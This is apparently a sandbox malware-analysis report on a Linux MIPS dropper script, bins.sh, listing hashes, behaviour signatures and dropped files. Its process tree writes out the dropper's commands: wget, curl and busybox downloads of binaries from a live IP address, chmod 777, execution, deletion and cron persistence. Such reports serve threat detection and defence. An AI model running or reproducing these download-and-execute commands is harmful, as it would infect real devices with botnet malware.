Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23-11-2024 22:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    067bacf49031140dffc75c87a55b982b

  • SHA1

    1a8aa6e4e748ecc1869a60e3b61842f9a80084e3

  • SHA256

    9b1d17c582d6613a642e6f17bbb341aeeb7f2eb8b7d8b518ac32012c6e8b6408

  • SHA512

    513ef68d27873f31cede3c8d3af46ad2c9255a429b9c415482931510116735fbcf8818d2a4fa99a264cfbb10cb48dc35ff6ede5d0125bf00a6b49b20d893b15e

  • SSDEEP

    192:mOCoaLvys0e7PbxAsA0AY9p3hh3tVV7Jpy7N10Aw4ckzWKD7/Ls7dFttVdJpSN1r:/OHW/UQ

Malware Config

Signatures

  • Contacts a large (1519) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          ./pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            ./mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Executes dropped EXE
            PID:747
          • /bin/rm
            rm mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://87.120.125.191/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Writes file to tmp directory
              PID:751
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Writes file to tmp directory
              PID:752
            • /bin/chmod
              chmod 777 dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              ./dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
              • Executes dropped EXE
              PID:754
            • /bin/rm
              rm dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
              2⤵
                PID:756
              • /usr/bin/wget
                wget http://87.120.125.191/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Writes file to tmp directory
                PID:758
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:764
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Writes file to tmp directory
                PID:772
              • /bin/chmod
                chmod 777 j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • File and Directory Permissions Modification
                PID:776
              • /tmp/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                ./j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                • Executes dropped EXE
                PID:777
              • /bin/rm
                rm j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
                2⤵
                  PID:780
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                  2⤵
                  • Writes file to tmp directory
                  PID:782
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:788
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                  2⤵
                  • Writes file to tmp directory
                  PID:798
                • /bin/chmod
                  chmod 777 xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                  2⤵
                  • File and Directory Permissions Modification
                  PID:803
                • /tmp/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                  ./xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                  2⤵
                  • Executes dropped EXE
                  PID:805
                • /bin/rm
                  rm xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K
                  2⤵
                    PID:808
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                    2⤵
                    • Writes file to tmp directory
                    PID:816
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                    2⤵
                    • Writes file to tmp directory
                    PID:818
                  • /bin/chmod
                    chmod 777 IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                    2⤵
                    • File and Directory Permissions Modification
                    PID:822
                  • /tmp/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                    ./IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                    2⤵
                    • Executes dropped EXE
                    PID:823
                  • /bin/rm
                    rm IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D
                    2⤵
                      PID:825
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                      2⤵
                      • Writes file to tmp directory
                      PID:826
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:827
                    • /bin/busybox
                      /bin/busybox wget http://87.120.125.191/bins/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                      2⤵
                      • Writes file to tmp directory
                      PID:828
                    • /bin/chmod
                      chmod 777 OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                      2⤵
                      • File and Directory Permissions Modification
                      PID:829
                    • /tmp/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                      ./OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                      2⤵
                      • Executes dropped EXE
                      PID:830
                    • /bin/rm
                      rm OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM
                      2⤵
                        PID:832
                      • /usr/bin/wget
                        wget http://87.120.125.191/bins/wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                        2⤵
                        • Writes file to tmp directory
                        PID:833
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                        2⤵
                        • Writes file to tmp directory
                        PID:834
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                        2⤵
                        • Writes file to tmp directory
                        PID:842
                      • /bin/chmod
                        chmod 777 wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                        2⤵
                        • File and Directory Permissions Modification
                        PID:846
                      • /tmp/wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                        ./wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:847
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:849
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:851
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:853
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:854
                            • /bin/rm
                              rm wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen
                              2⤵
                                PID:860
                              • /usr/bin/wget
                                wget http://87.120.125.191/bins/GF1VEefF0CnNaQjdMU6clWmVsuKIlANYI1
                                2⤵
                                  PID:865

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/IF2LTxUpS8lb6iAdIEHyG8Kz2PSolyHa4D

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/OKaenwebmvdaG8d5lSH6YGTzhsBUew3aPM

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/wzQaICTtaXfOUNsOmi0GeCpbEfLyiFlIen

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/xMdMq4F61OPcw1ZxCVVMjRDDBcWPRyjZ4K

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /var/spool/cron/crontabs/tmp.sg0DpJ

                                Filesize

                                210B

                                MD5

                                a5584e3dca583484d5e28a02f638fd2e

                                SHA1

                                b1feba50474bd851a6bf6135418867a218dfa49b

                                SHA256

                                df05924bda917cae22eacf642f3c153f43abc164d73747c85d543a1b099f4abd

                                SHA512

                                2864d7129a610726dab6dc61055293afd0db564cba055cefcb42b8fc2b72e7e72a023a556413dbeadf709e86068539794c5ed52a5f1987b5494534441614e1d1